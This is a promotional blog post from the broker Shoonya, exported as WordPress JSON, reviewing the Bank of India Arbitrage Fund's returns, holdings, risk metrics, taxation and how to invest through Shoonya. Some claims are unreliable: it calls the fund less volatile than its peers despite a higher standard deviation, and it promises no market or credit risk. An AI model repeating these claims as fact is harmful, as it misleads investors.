{"id":10084,"date":"2024-12-03T13:02:04","date_gmt":"2024-12-03T13:02:04","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=10084"},"modified":"2025-05-22T09:20:45","modified_gmt":"2025-05-22T09:20:45","slug":"bank-of-india-arbitrage-fund-direct-growth","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/","title":{"rendered":"Bank of India Arbitrage Fund Direct-Growth: Key Insights, Returns, Risks, and More"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#Fund_Management_and_Objectives\" >Fund Management and Objectives<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#How_the_Bank_of_India_Arbitrage_Fund_Works\" >How the Bank of India Arbitrage Fund Works?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#Performance_and_Returns_As_of_29_Nov_2024\" >Performance and Returns (As of 29 Nov 2024)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#Investment_Allocation_As_of_31_Oct_2024\" >Investment Allocation (As of 31 Oct 2024)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#Key_Metrics\" >Key Metrics&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#Risk_and_Performance_of_the_Bank_of_India_Arbitrage_Fund\" >Risk and Performance of the Bank of India Arbitrage Fund&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#Taxation_for_Bank_of_India_Arbitrage_Fund\" >Taxation for Bank of India Arbitrage Fund&nbsp;<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#How_to_Invest_in_Bank_of_India_Arbitrage_Fund_Direct\" >How to Invest in Bank of India Arbitrage Fund Direct?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#Investing_in_Lump_Sum_Mutual_Funds_through_the_Shoonya_Web_Platform\" >Investing in Lump Sum Mutual Funds through the Shoonya Web Platform<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#Setting_Up_an_SIP_for_Mutual_Funds\" >Setting Up an SIP for Mutual Funds<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#Why_Invest_in_the_Bank_of_India_Arbitrage_Fund\" >Why Invest in the Bank of India Arbitrage Fund?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#Suitability_of_this_Fund_Who_Should_Invest\" >Suitability of this Fund| Who Should Invest?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#Conclusion\" >Conclusion<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/shoonya.com\/blog\/bank-of-india-arbitrage-fund-direct-growth\/#FAQs_Bank_of_India_Arbitrage_Fund_Direct_Plan-Growth_plan\" >FAQs| Bank of India Arbitrage Fund Direct Plan-Growth plan<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/\">Investing<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/mutual-funds\/\">Mutual Funds<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Bank of India Arbitrage Fund Direct-Growth: Key Insights, Returns, Risks, and More<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">With the rise in volatility in the stock markets, investors look for safer options. While debt funds offer great security that comes at the cost of lower returns. This is where hybrid funds came in to bridge the gap. This <strong>Bank of India Arbitrage Fund Direct-Growth <\/strong>is a hybrid fund that offers a balance in the return on investment and risk of investment.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This article will help you navigate through the details of the <strong>Bank of India Arbitrage Fund<\/strong>. You will be reading all the insights about this fund, starting from its returns, to the risk involved, different financial metrics you can evaluate from here, and more.&nbsp;<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\" id=\"0-fund-management-and-objectives-\"><span class=\"ez-toc-section\" id=\"Fund_Management_and_Objectives\"><\/span><strong>Fund Management and Objectives<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Bank of India Arbitrage Fund Direct-Growth<\/strong> is a hybrid fund that invests in different arbitrage opportunities. It invests in the price difference between a stock and its future and within the derivative segment as well. The objective of the fund is to generate a regular stream of income for the investors while capital appreciation takes place.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The fund is managed by Firdaus Marazban Ragina from 1 October 2024. He has years of experience in the mutual fund space and before joining here, he was associated with renowned broking firms and fund houses such as IL&amp;FS Broking Services, UTI Securities, Avenues Securities, and more.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"1-how-the-bank-of-india-arbitrage-fund-works-\"><span class=\"ez-toc-section\" id=\"How_the_Bank_of_India_Arbitrage_Fund_Works\"><\/span><strong>How the Bank of India Arbitrage Fund Works?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Arbitrage as the name suggests is a type of investing or trading where the difference in prices of an investment instrument is utilized to generate profits. Here, in this fund, the same process is applied where the price difference between a stock and its future is taken to generate profits. Similarly, arbitrage between two derivatives of the same underlying can also be used to generate income.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">While this sounds simple, the fund manager has to do simultaneous buying and selling of the investment instruments and in this <strong>Bank of India Arbitrage Fund<\/strong>, the fund manager makes the most use of the cash and cash equivalents. The use of equity in this fund is negligible while debt instruments have a significant portion.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"2-performance-and-returns-as-of-29-nov-2024\"><span class=\"ez-toc-section\" id=\"Performance_and_Returns_As_of_29_Nov_2024\"><\/span>Performance and Returns (As of 29 Nov 2024)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Bank of India Arbitrage Fund Direct-Growth<\/strong> was launched on 18 June 2018 and the return since launch has been around 5.16%. The returns across different time frames are as follows &#8211;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>5 Year Return: 4.84%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3 Year Return: 5.80%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1 Year Return: 7.63%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>YTD Return: 7.05%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>6 Month Return: 3.71%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3 Month Return: 1.78%<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>Bank of India Arbitrage Fund <\/strong>consistently delivers higher returns when compared to the CCIL T Bill Liquidity Weight. The performance of the fund has remained consistent over the year and helps investors generate regular income.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That said, the fund\u2019s performance falls a little short of the average of the category. If you look at the average YTD return of the hybrid arbitrage funds then the <strong>Bank of India Arbitrage Fund <\/strong>has delivered 0.32% less return. Similarly, the 3-year and 5-year returns are lesser than that of the average category return.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"3-investment-allocation-as-of-31-oct-2024\"><span class=\"ez-toc-section\" id=\"Investment_Allocation_As_of_31_Oct_2024\"><\/span>Investment Allocation (As of 31 Oct 2024)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>Bank of India Arbitrage Fund portfolio <\/strong>is quite interesting as it holds 76.17% cash and cash equivalents with a share of 24.25% of debt instruments, and equity is negative as of now, around -0.42%.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here is the investment allocation according to market capitalization \u2013&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Giant &amp; Large Cap<\/strong>: 92.96%<\/li>\n\n\n\n<li><strong>Mid Cap<\/strong>: 7.04%<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Investment allocation as per Ratings &#8211;&nbsp;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Cash Equivalents \u2013 76.17%<\/strong><\/li>\n\n\n\n<li><strong>AAA \u2013 12.55%<\/strong><\/li>\n\n\n\n<li><strong>SOV \u2013 11.66%<\/strong><\/li>\n\n\n\n<li><strong>Unrated\/ others \u2013 0.03%<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The top holdings of the <strong>Bank of India Arbitrage Fund <\/strong>include<strong> \u2013&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Equity Segment&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>HDFC Bank<\/li>\n\n\n\n<li>Bank Of Baroda<\/li>\n\n\n\n<li>Ambuja Cements<\/li>\n\n\n\n<li>Canara Bank<\/li>\n\n\n\n<li>Hindustan aero<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Debt Segment&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Bank of India Liquid Direct &#8211; Growth<\/li>\n\n\n\n<li>Reserve Bank of India T-Bills 364-D 24\/04\/2025<\/li>\n\n\n\n<li>Reserve Bank of India T-Bills 182-D 17\/01\/2025<\/li>\n\n\n\n<li>Reserve Bank of India T-Bills 364-D 10\/07\/2025<\/li>\n\n\n\n<li>Reserve Bank of India T-Bills 364-D 27\/03\/2025<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"4-key-metrics-\"><span class=\"ez-toc-section\" id=\"Key_Metrics\"><\/span><strong>Key Metrics&nbsp;<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As of 31 October 2024, the fund has an expense ratio of 0.21%, which is lower than the category average of 0.33%.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Fund Details<\/strong><\/td><td><strong>Information<\/strong><\/td><\/tr><tr><td><strong>AUM (Assets Under Management)<\/strong><\/td><td>\u20b9 41 Crore as of 31 October&nbsp; 2024<\/td><\/tr><tr><td><strong>Category<\/strong><\/td><td>Hybrid Fund<\/td><\/tr><tr><td><strong>Fund Managers<\/strong><\/td><td>Firdaus Marazban Ragina<\/td><\/tr><tr><td><strong>Exit Load<\/strong><\/td><td>0.5% for redemption of more than 10% units within 30 days<\/td><\/tr><tr><td><strong>Entry Load<\/strong><\/td><td>Nil<\/td><\/tr><tr><td><strong>Minimum Investment<\/strong><\/td><td>\u20b95000(Lump sum)\u20b9 1000 (SIP)<\/td><\/tr><tr><td><strong>Benchmark<\/strong><\/td><td>NIFTY 50 Arbitrage TRI<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>Bank of India Arbitrage Fund Growth<\/strong> has delivered consistent returns over various periods \u2013 (as of 29 Nov 2024)<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>5 Year Return: 4.84%<\/strong><\/li>\n\n\n\n<li><strong>3 Year Return: 5.80%<\/strong><\/li>\n\n\n\n<li><strong>1 Year Return: 7.63%<\/strong><\/li>\n\n\n\n<li><strong>YTD Return: 7.05%<\/strong><\/li>\n\n\n\n<li><strong>6 Month Return: 3.71%<\/strong><\/li>\n\n\n\n<li><strong>3 Month Return: 1.78%<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>Bank of India Arbitrage Fund NAV <\/strong>as of<strong> <\/strong>2 December<strong> <\/strong>2024 stood at \u20b9 13.8466.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"5-risk-and-performance-of-the-bank-of-india-arbitrage-fund-\"><span class=\"ez-toc-section\" id=\"Risk_and_Performance_of_the_Bank_of_India_Arbitrage_Fund\"><\/span>Risk and Performance of the Bank of India Arbitrage Fund&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This fund is classified as a \u2018Low Risk\u2019 fund, which indicates that the fund offers a stable return usually without much volatility.&nbsp;<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Standard Deviation (Std Dev %): <\/strong>It shows how much the returns vary from the average returns generated by the funds themselves. The higher this number, the more it fluctuates.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">This fund has a standard deviation of 0.69% while the average standard deviation of the hybrid arbitrage funds is around 0.65%. This indicates that the <strong>Bank of India Arbitrage Fund <\/strong>is less volatile than its peers. However, the difference is real with the CCIL T Bill Liquidity Weight, which has a standard deviation of around 0.41%. This indicates that the fund is more volatile than the CCIl T-Bills.&nbsp;<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Sharpe Ratio: <\/strong>This ratio indicates the return you get for the risk you&#8217;re taking. A higher number means better risk-adjusted returns.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Currently, this fund has a Sharpe ratio of -0.34, which indicates that it has underperformed, compared to its benchmark. It has also underperformed compared to its peers as the average Sharpe ratio for the category is around 0.86%. That said, the CCIL T-Bill liquidity weight has a negative 5.1% Sharpe ratio that is much lower than these low-risk funds offering a stable return.&nbsp;<\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Sortino Ratio: <\/strong>It is similar to Sharpe but only looks at downside risk (the risk of losing money).<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Similar to the Sharpe ratio, this fund has more downside risk compared to its peers. While the average for the category stands at 1.03%, this <strong>Bank of India Arbitrage Fund Direct &#8211; Growth<\/strong> has a negative 0.43% Sorting ratio.&nbsp;<\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li><strong>Beta: <\/strong>This ratio indicates the volatility of the fund\u2019s performance, compared to similar funds in the market. The lower the Beta, the more predictable the returns are, and vice versa. It helps in comparing funds.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Bank of India Arbitrage Fund <\/strong>is<strong> a <\/strong>bit more volatile than its peers as it has a Beta of 0.96% while the average for the hybrid arbitrage fund category is 0.81%.&nbsp;<\/p>\n\n\n\n<ol start=\"5\" class=\"wp-block-list\">\n<li><strong>Alpha: <\/strong>It measures<strong> <\/strong>the extra return the fund gives above the market&#8217;s average return.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The fund again has a lower alpha than its peers, which means the extra returns offered by the fund are comparatively lower. The average for the category is around 2.25% while that of the fund is only 1.77%.&nbsp;&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"6-taxation-for-bank-of-india-arbitrage-fund-\"><span class=\"ez-toc-section\" id=\"Taxation_for_Bank_of_India_Arbitrage_Fund\"><\/span>Taxation for Bank of India Arbitrage Fund&nbsp;<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If you&#8217;re investing in the <strong>Bank of India Arbitrage Fund<\/strong>, here&#8217;s how your returns will be taxed:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Short-Term Gains<\/strong> &#8211; If you sell the fund units within 1 year of the date of investment, a 20% tax will be levied on the entire return generated during the period.&nbsp;<\/li>\n\n\n\n<li><strong>Long-Term Gains<\/strong> &#8211; If you sell the fund units after one year, any profit generated over and above \u20b9 1.25 lakh will be taxable at a 12.5% rate. The same rate will be applicable for any investment tenure above 1 year.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>So, the longer you hold your investments, the better returns you can expect and the lesser effect of taxes!<\/em><\/strong><\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Taxes on Dividends<\/strong> \u2013 Dividends earned if any will be taxable at the hands of investors as per their tax slabs. If the dividend income surpasses Rs. 5000 in a financial year, then the fund house will deduct 10% TDS before disbursing the dividend into the account of the investor.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Minimum Investment and Lock-in Period<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The minimum investment amount in the <strong><em>Bank of India Arbitrage Fund <\/em><\/strong>is \u20b95000 for lump sum and for SIP, it is \u20b9 1000. There is no lock-in period for the <strong>Bank of India Arbitrage Fund Direct &#8211; Growth<\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/open-an-account\/\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Invest in the Bank of India Arbitrage Fund \u2014 SIP or lump sum at zero brokerage for life!<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"7-how-to-invest-in-bank-of-india-arbitrage-fund-direct\"><span class=\"ez-toc-section\" id=\"How_to_Invest_in_Bank_of_India_Arbitrage_Fund_Direct\"><\/span>How to Invest in Bank of India Arbitrage Fund Direct?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">You can invest in the <strong>Bank of India Arbitrage Fund Direct-Growth<\/strong> plan with Shoonya.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Shoonya offers a free Demat account, advanced trading tools, 100+ technical indicators, and much more!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"8-investing-in-lump-sum-mutual-funds-through-the-shoonya-web-platform\"><span class=\"ez-toc-section\" id=\"Investing_in_Lump_Sum_Mutual_Funds_through_the_Shoonya_Web_Platform\"><\/span>Investing in Lump Sum Mutual Funds through the Shoonya Web Platform<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Here\u2019s a quick guide on how to invest in lump sum mutual funds through the Shoonya web platform:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>First, you must log in to your Shoonya account at <a href=\"https:\/\/trade.shoonya.com\/\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">trade.shoonya.com<\/mark><\/a>. From the &#8220;Orders&#8221; section, click on &#8220;MF order.&#8221;<\/li>\n\n\n\n<li>Search for the fund you wish to invest in; in this case, the Bank of India Arbitrage Fund Direct-Growth plan.<\/li>\n\n\n\n<li>Choose &#8220;Fresh&#8221; for a new investment and enter the amount you want to invest.<\/li>\n\n\n\n<li>You can complete your purchase by clicking the &#8220;Purchase&#8221; button.<\/li>\n\n\n\n<li>You will receive a payment link on your registered email. Use the link to make the payment.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">After payment, your mutual fund units will be allotted to your Demat account within T+2 days.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Note:<\/strong> You can only make the payment using the bank account registered with your Demat account.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"9-setting-up-an-sip-for-mutual-funds\"><span class=\"ez-toc-section\" id=\"Setting_Up_an_SIP_for_Mutual_Funds\"><\/span>Setting Up an SIP for Mutual Funds<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If you prefer a <strong>Systematic Investment Plan<\/strong> (SIP) for Bank of India Arbitrage Fund Direct Plan-Growth plan, you must follow these steps:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>First, you need to log in to your Shoonya account at <a href=\"https:\/\/trade.shoonya.com\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">trade.shoonya.com<\/mark><\/a>. Go to &#8220;Orders&#8221; and click on &#8220;XSIP.&#8221;<\/li>\n\n\n\n<li>Find the mutual fund for which you want to set up an SIP. In this case, the Bank of India Arbitrage Fund Direct-Growth plan.<\/li>\n\n\n\n<li>If this is your first SIP with Shoonya, you need to create a Mandate ID.&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">For that, you must enter the mandate amount and the validity date (until you want to keep your SIP active).<\/p>\n\n\n\n<ol start=\"4\" class=\"wp-block-list\">\n<li>You must submit the details, and you\u2019ll receive a Mandate authentication link via email. Approval generally takes 24 hours.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Once your Mandate is approved, you can follow these steps to set up your SIP:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Go to &#8220;XSIP,&#8221; enter the SIP amount, and select &#8220;Fresh&#8221; as the transaction type.<\/li>\n\n\n\n<li>Choose the date when the SIP will be debited directly from your registered bank.<\/li>\n\n\n\n<li>The approved Mandate ID will auto-reflect.<\/li>\n\n\n\n<li>Choose &#8220;Monthly&#8221; for monthly debits and specify the number of installments (e.g., 24 installments for a 2-year SIP).<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">If you do not want to forget your SIPs and invest systematically, the SIP method can be most suitable for you.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"10-why-invest-in-the-bank-of-india-arbitrage-fund\"><span class=\"ez-toc-section\" id=\"Why_Invest_in_the_Bank_of_India_Arbitrage_Fund\"><\/span>Why Invest in the Bank of India Arbitrage Fund?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The primary reason for investing in this fund can be its lower risk profile, which can help in diversifying your investment portfolio, and lower the risk of the entire portfolio. The fund somewhere enjoys a liquid fund\u2019s risk-return profile while the taxes are levied as of an equity fund, which helps the post-tax returns to be significantly higher when compared to actual liquid funds, isn\u2019t that great?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In addition, all the positions in this fund are hedged which leaves no ground for direct equity exposure of the investor via this fund and hence there is no market risk as well.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, this fund possesses no credit risk as well which needs to be considered too.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The fund has been consistent with its return over the years, which can be one of the crucial factors to consider.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"11-suitability-of-this-fund-who-should-invest\"><span class=\"ez-toc-section\" id=\"Suitability_of_this_Fund_Who_Should_Invest\"><\/span>Suitability of this Fund| Who Should Invest?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong>Bank of India Arbitrage Fund Direct <\/strong>is suitable for investors who:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Are looking for lower-risk or risk-averse investors&nbsp;<\/li>\n\n\n\n<li>Want to make a profit out of market inefficiencies&nbsp;<\/li>\n\n\n\n<li>HNIs, Retail investors, corporates with surplus funds seeking short-term deployment options<\/li>\n\n\n\n<li>Are looking for a risk-return profile like a liquid fund<\/li>\n\n\n\n<li>Seeking taxation like an equity fund with a higher post-tax return<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"12-conclusion-\"><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><strong>Conclusion<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">So, if you are someone looking to invest in mutual funds with lower risk but also want to enjoy the taxation of an equity fund, then this <strong>Bank of India Arbitrage Fund <\/strong>is apt for you. However, consider all the key metrics, historical performance, and risk-return ratios before setting up the SIP, or investing a lump sum.&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"13-faqs-bank-of-india-arbitrage-fund-direct-plan-growth-plan\"><span class=\"ez-toc-section\" id=\"FAQs_Bank_of_India_Arbitrage_Fund_Direct_Plan-Growth_plan\"><\/span>FAQs| Bank of India Arbitrage Fund Direct Plan-Growth plan<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<div class=\"schema-faq wp-block-yoast-faq-block\"><div class=\"schema-faq-section\" id=\"faq-question-1733229747379\"><strong class=\"schema-faq-question\"><strong>What is the Bank of India Arbitrage Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">Bank of India Arbitrage Fund &#8211; Direct Plan is a mutual fund that is an open-ended arbitrage fund, which generates income from the price difference of a stock and its futures.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1733230051528\"><strong class=\"schema-faq-question\"><strong>What is the expense ratio of the Bank of India Arbitrage Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The expense ratio of the Bank of India Arbitrage Fund &#8211; Direct Plan is 0.21% as of 31 October 2024.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1733230052009\"><strong class=\"schema-faq-question\"><strong>What is the current NAV of the Bank of India Arbitrage Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The current NAV (Net Asset Value) of the Bank of India Arbitrage Fund &#8211; Direct Plan as of<strong> <\/strong>2 December<strong> <\/strong>2024 stood at \u20b9 13.8466.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1733230052784\"><strong class=\"schema-faq-question\"><strong>What is the AUM of the Bank of India Arbitrage Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The total assets under management (AUM) of Bank of India Arbitrage Fund &#8211; Direct Plan is \u20b941 crore as of 31 October 2024.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1733230087121\"><strong class=\"schema-faq-question\"><strong>What is the Riskometer level of the Bank of India Arbitrage Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">The Riskometer level of the Bank of India Arbitrage Fund &#8211; Direct Plan is marked as &#8220;Low Risk&#8221;.\u00a0 This means the fund has lower risk and won\u2019t be very volatile.<\/p> <\/div> <div class=\"schema-faq-section\" id=\"faq-question-1733230105938\"><strong class=\"schema-faq-question\"><strong>What are the top holdings of the Bank of India Arbitrage Fund &#8211; Direct Plan?<\/strong><\/strong> <p class=\"schema-faq-answer\">Some of the top stocks and debt instruments held by Bank of India Arbitrage Fund are \u2013\u00a0<br\/><strong>Stocks\u00a0<\/strong><br\/>HDFC Bank, Bank Of Baroda, Ambuja Cements, Canara Bank, Hindustan aero<br\/><strong>Debt Instruments<\/strong><br\/>Bank of India Liquid Direct &#8211; Growth<br\/>Reserve Bank of India T-Bills 364-D 24\/04\/2025<br\/>Reserve Bank of India T-Bills 182-D 17\/01\/2025<br\/>Reserve Bank of India T-Bills 364-D 10\/07\/2025<br\/>Reserve Bank of India T-Bills 364-D 27\/03\/2025<br\/><\/p> <\/div> <\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.moneycontrol.com\/mutual-funds\/nav\/bank-of-india-arbitrage-fund-direct-plan-growth\/MBA193\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" 